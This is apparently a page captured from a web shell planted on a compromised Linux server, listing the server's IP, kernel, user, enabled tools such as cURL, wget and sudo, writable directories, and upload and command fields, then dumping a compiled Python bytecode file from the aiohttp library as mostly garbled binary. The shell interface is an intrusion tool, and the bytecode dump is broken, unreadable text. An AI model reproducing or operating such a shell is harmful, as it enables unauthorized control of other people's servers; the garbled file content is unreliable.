403Webshell
Server IP : 65.1.209.187  /  Your IP : 216.73.216.144
Web Server : nginx/1.24.0
System : Linux ip-172-31-5-206 6.14.0-1015-aws #15~24.04.1-Ubuntu SMP Tue Sep 23 22:44:48 UTC 2025 x86_64
User :  ( 1001)
PHP Version : 8.3.6
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/aiohttp/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/aiohttp/__pycache__/client_exceptions.cpython-312.pyc
�

�wce�$��*�dZddlZddlZddlmZmZmZmZmZddl	m
Z
ddlmZ	ddl
Z
e
jZer
ddlmZmZmZmZndxZxZZdZGd	�d
e�ZGd�de�ZGd
�de�ZGd�de�ZGd�de�ZGd�de�ZGd�de�ZGd�dee�ZGd�de�Z Gd�de �Z!Gd�de �Z"Gd�d e�Z#Gd!�d"e#�Z$Gd#�d$e#ejJ�Z&Gd%�d&e#�Z'Gd'�d(e�Z(Gd)�d*ee)�Z*Gd+�d,e �Z+e
�7e
jXfZ-e+e
jXfZ.e
j^fZ0e+e
j^fZ1ne2�Z-e+e)fZ.e2�Z0e+fZ1Gd-�d.ge1���Z3Gd/�d0ge.���Z4y#e$rdxZ
ZY��[wxYw)1zHTTP related errors.�N)�
TYPE_CHECKING�Any�Optional�Tuple�Union�)�RawResponseMessage)�LooseHeaders)�ClientResponse�
ConnectionKey�Fingerprint�RequestInfo)�ClientError�ClientConnectionError�
ClientOSError�ClientConnectorError�ClientProxyConnectionError�ClientSSLError�ClientConnectorSSLError�ClientConnectorCertificateError�ServerConnectionError�ServerTimeoutError�ServerDisconnectedError�ServerFingerprintMismatch�ClientResponseError�ClientHttpProxyError�WSServerHandshakeError�ContentTypeError�ClientPayloadError�
InvalidURLc��eZdZdZy)rz(Base class for client connection errors.N��__name__�
__module__�__qualname__�__doc__���;/usr/lib/python3/dist-packages/aiohttp/client_exceptions.pyrr-s��2r(rc��eZdZdZddddd�dedeedfdeed	eed
e	dee
ddfd
�Zde	fd�Zde	fd�Z
edefd��Zej deddfd��Zy)raBase class for exceptions that occur after getting a response.

    request_info: An instance of RequestInfo.
    history: A sequence of responses, if redirects occurred.
    status: HTTP status code.
    message: Error message.
    headers: Response headers.
    N�)�code�status�message�headers�request_info�history.r,r-r.r/�returnc���||_|�)|�td��tjdtd��|�||_n|�||_nd|_||_||_||_||f|_	y)NzSBoth code and status arguments are provided; code is deprecated, use status insteadz/code argument is deprecated, use status instead���
stacklevelr)
r0�
ValueError�warnings�warn�DeprecationWarningr-r.r/r1�args)�selfr0r1r,r-r.r/s       r)�__init__zClientResponseError.__init__;s���)������!� �=���
�M�M�A�"��
�
�� �D�K�
�
��D�K��D�K����������!�7�+��	r(c�x�dj|j|j|jj�S)Nz{}, message={!r}, url={!r})�formatr-r.r0�real_url�r<s r)�__str__zClientResponseError.__str__\s2��+�2�2��K�K��L�L����&�&�
�	
r(c�.�|j�d|j��}|jdk7r|d|j��z
}|jdk7r|d|j��z
}|j�|d|j��z
}t|�j�d|�d�S)	Nz, rz	, status=r+z
, message=z
, headers=�(�))r0r1r-r.r/�typer#)r<r;s  r)�__repr__zClientResponseError.__repr__cs����#�#�&�b����(8�9���;�;�!���i�����/�/�D��<�<�2���j���� 0�1�1�D��<�<�#��j���� 0�1�1�D��t�*�%�%�&�a��v�Q�/�/r(c�R�tjdtd��|jS�Nz/code property is deprecated, use status insteadr4r5�r8r9r:r-rAs r)r,zClientResponseError.codems#���
�
�=���	
�
�{�{�r(�valuec�J�tjdtd��||_yrIrJ)r<rKs  r)r,zClientResponseError.codevs ���
�
�=���	
�
��r()r#r$r%r&rrrr�int�strr
r=rBrG�propertyr,�setterr'r(r)rr1s����#� $��*.�,�!�,��~�s�*�+�,�
�s�m�,���
�
,��,��,�'�,�
�,�B
��
�0�#�0���c����
�[�[��#��$���r(rc��eZdZdZy)rzContentType found is not valid.Nr"r'r(r)rr�s��)r(rc��eZdZdZy)rz!websocket server handshake error.Nr"r'r(r)rr�s��+r(rc��eZdZdZy)rz�HTTP proxy error.

    Raised in :class:`aiohttp.connector.TCPConnector` if
    proxy responds with status other than ``200 OK``
    on ``CONNECT`` request.
    Nr"r'r(r)rr�s��r(rc��eZdZdZy)�TooManyRedirectsz%Client was redirected too many times.Nr"r'r(r)rUrU�s��/r(rUc��eZdZdZy)rz$Base class for client socket errors.Nr"r'r(r)rr�s��.r(rc��eZdZdZy)rzOSError error.Nr"r'r(r)rr�s��r(rc���eZdZdZdededdf�fd�Zedefd��Zede	fd��Z
edeefd	��Z
edeeded
ffd��Zde	fd�Zej(Z�xZS)
rz�Client connector error.

    Raised in :class:`aiohttp.connector.TCPConnector` if
        a connection can not be established.
    �connection_key�os_errorr2Nc�|��||_||_t�|�
|j|j
�||f|_y�N)�	_conn_key�	_os_error�superr=�errno�strerrorr;)r<rYrZ�	__class__s   �r)r=zClientConnectorError.__init__�s6���'���!���
�������):�):�;�#�X�.��	r(c��|jSr\)r^rAs r)rZzClientConnectorError.os_error�s���~�~�r(c�.�|jjSr\�r]�hostrAs r)rfzClientConnectorError.host�����~�~�"�"�"r(c�.�|jjSr\�r]�portrAs r)rjzClientConnectorError.port�rgr(r
c�.�|jjSr\)r]�sslrAs r)rlzClientConnectorError.ssl�s���~�~�!�!�!r(c��dj||j�|j|j�Sd|j�S)Nz6Cannot connect to host {0.host}:{0.port} ssl:{1} [{2}]�default�r?rlrarAs r)rBzClientConnectorError.__str__�s@��G�N�N��d�h�h�2�$�(�(�4�=�=�
�	
�8A�4�=�=�
�	
r()r#r$r%r&r�OSErrorr=rOrZrNrfrrMrjr�
SSLContext�boolrlrB�
BaseException�
__reduce__�
__classcell__�rbs@r)rr�s�����/�}�/��/�D�/���'�����#�c�#��#��#�h�s�m�#��#��"�U�:�t�T�=�@�A�"��"�
��
��)�)�Jr(rc��eZdZdZy)rz�Proxy connection error.

    Raised in :class:`aiohttp.connector.TCPConnector` if
        connection to proxy can not be established.
    Nr"r'r(r)rr�s��r(rc�V��eZdZdZdedededdf�fd�Zedefd��Z	defd	�Z
�xZS)
�UnixClientConnectorErrorz�Unix connector error.

    Raised in :py:class:`aiohttp.connector.UnixConnector`
    if connection to unix socket can not be established.
    �pathrYrZr2Nc�4��||_t�|�	||�yr\)�_pathr_r=)r<rzrYrZrbs    �r)r=z!UnixClientConnectorError.__init__�s�����
�
�����2r(c��|jSr\)r|rAs r)rzzUnixClientConnectorError.path�s���z�z�r(c��dj||j�|j|j�Sd|j�S)Nz4Cannot connect to unix socket {0.path} ssl:{1} [{2}]rnrorAs r)rBz UnixClientConnectorError.__str__�s@��E�L�L��d�h�h�2�$�(�(�4�=�=�
�	
�8A�4�=�=�
�	
r()r#r$r%r&rNrrpr=rOrzrBrurvs@r)ryry�sT����3��3�)6�3�BI�3�	
�3���c����
��
r(ryc��eZdZdZy)rzServer connection errors.Nr"r'r(r)rr�s��#r(rc�.�eZdZdZddeeedfddfd�Zy)rzServer disconnected.Nr.r2c�*�|�d}|f|_||_y)NzServer disconnected)r;r.)r<r.s  r)r=z ServerDisconnectedError.__init__�s���?�+�G��J��	���r(r\)r#r$r%r&rr	rNr=r'r(r)rr�s&�����&8�#�t�&C� D��PT�r(rc��eZdZdZy)rzServer timeout error.Nr"r'r(r)rr�s��r(rc
�8�eZdZdZdededededdf
d�Zdefd	�Zy)
rz4SSL certificate does not match expected fingerprint.�expected�gotrfrjr2Nc�R�||_||_||_||_||||f|_yr\)r�r�rfrjr;)r<r�r�rfrjs     r)r=z"ServerFingerprintMismatch.__init__�s.�� ��
������	���	��s�D�$�/��	r(c��dj|jj|j|j|j
|j�S)Nz/<{} expected={!r} got={!r} host={!r} port={!r}>)r?rbr#r�r�rfrjrAs r)rGz"ServerFingerprintMismatch.__repr__�s:��@�G�G��N�N�#�#�T�]�]�D�H�H�d�i�i����
�	
r()	r#r$r%r&�bytesrNrMr=rGr'r(r)rr�s9��>�0��0�U�0�#�0�S�0�T�0�
�#�
r(rc��eZdZdZy)rzResponse payload error.Nr"r'r(r)rrs��!r(rc�N��eZdZdZdeddf�fd�Zedefd��Zdefd�Z	�xZ
S)r zbInvalid URL.

    URL used for fetching is malformed, e.g. it doesn't contains host
    part.
    �urlr2Nc�$��t�|�|�yr\)r_r=)r<r�rbs  �r)r=zInvalidURL.__init__s���	����r(c� �|jdS)Nr)r;rAs r)r�zInvalidURL.urls���y�y��|�r(c�P�d|jj�d|j�d�S)N�<� �>)rbr#r�rAs r)rGzInvalidURL.__repr__s&���4�>�>�*�*�+�1�T�X�X�J�a�8�8r()r#r$r%r&rr=rOr�rNrGrurvs@r)r r 	sB�����C��D��
��S����9�#�9r(r c��eZdZdZy)rzBase error for ssl.*Errors.Nr"r'r(r)rrs��%r(rc��eZdZdZy)rzResponse ssl error.Nr"r'r(r)rr7s��r(rc��eZdZdZdededdfd�Zedefd��Zede	fd��Z
edeefd	��Z
edefd
��Zde	fd�Zy)rzResponse certificate error.rY�certificate_errorr2Nc�2�||_||_||f|_yr\)r]�_certificate_errorr;)r<rYr�s   r)r=z(ClientConnectorCertificateError.__init__>s ��(���"3���#�%6�7��	r(c��|jSr\)r�rAs r)r�z1ClientConnectorCertificateError.certificate_errorEs���&�&�&r(c�.�|jjSr\rerAs r)rfz$ClientConnectorCertificateError.hostIrgr(c�.�|jjSr\rirAs r)rjz$ClientConnectorCertificateError.portMrgr(c�.�|jjSr\)r]�is_sslrAs r)rlz#ClientConnectorCertificateError.sslQs���~�~�$�$�$r(c�$�dj|�S)Nz{Cannot connect to host {0.host}:{0.port} ssl:{0.ssl} [{0.certificate_error.__class__.__name__}: {0.certificate_error.args}])r?rAs r)rBz'ClientConnectorCertificateError.__str__Us��
*�*0�&��,�	
r()r#r$r%r&r�	Exceptionr=rOr�rNrfrrMrjrrrlrBr'r(r)rr;s���%�8�+�8�@I�8�	
�8��'�9�'��'��#�c�#��#��#�h�s�m�#��#��%�T�%��%�
��
r(r)5r&�asyncior8�typingrrrrr�http_parserr	�typedefsr
rlrq�ImportError�
client_reqreprrr
r�__all__r�rrrrrrUrrprrrryrr�TimeoutErrorrrrr7r r�CertificateError�cert_errors�cert_errors_bases�SSLError�
ssl_errors�ssl_error_bases�tuplerrr'r(r)�<module>r�s������=�=�+�"������J�
�V�V�37�7�K�7�.�=���,3�)�3�L�+�L�^*�*�*�,�0�,��.��0�*�0�/�K�/��)�7��#*�=�#*�L�!5��
�3�
�.$�1�$��3�� �.��0D�0D� �

� 5�

� "��"�9��j�9�,&�)�&��?��'�'�)�K�������
�,�,��J�%�s�|�|�4�O��'�K�����
��J�%�'�O����
�'8�
��[	����C�*��s�F�	F�F

Youez - 2016 - github.com/yon3zu
LinuXploit